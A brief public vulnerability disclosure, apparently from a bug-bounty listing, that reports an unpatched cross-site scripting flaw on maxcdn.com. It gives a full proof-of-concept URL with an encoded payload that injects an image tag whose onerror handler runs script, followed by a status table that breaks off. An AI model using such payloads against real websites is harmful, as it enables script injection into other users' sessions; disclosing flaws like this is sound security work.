maxcdn.com XSS vulnerability

Vulnerable URL: https://www.maxcdn.com/one/filter/?action=xxx=x!%22--!%3E%3CImage%0CSrcset%3DK%0COnerror%3DconfirmOPENBUGBOUNTY%0C Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...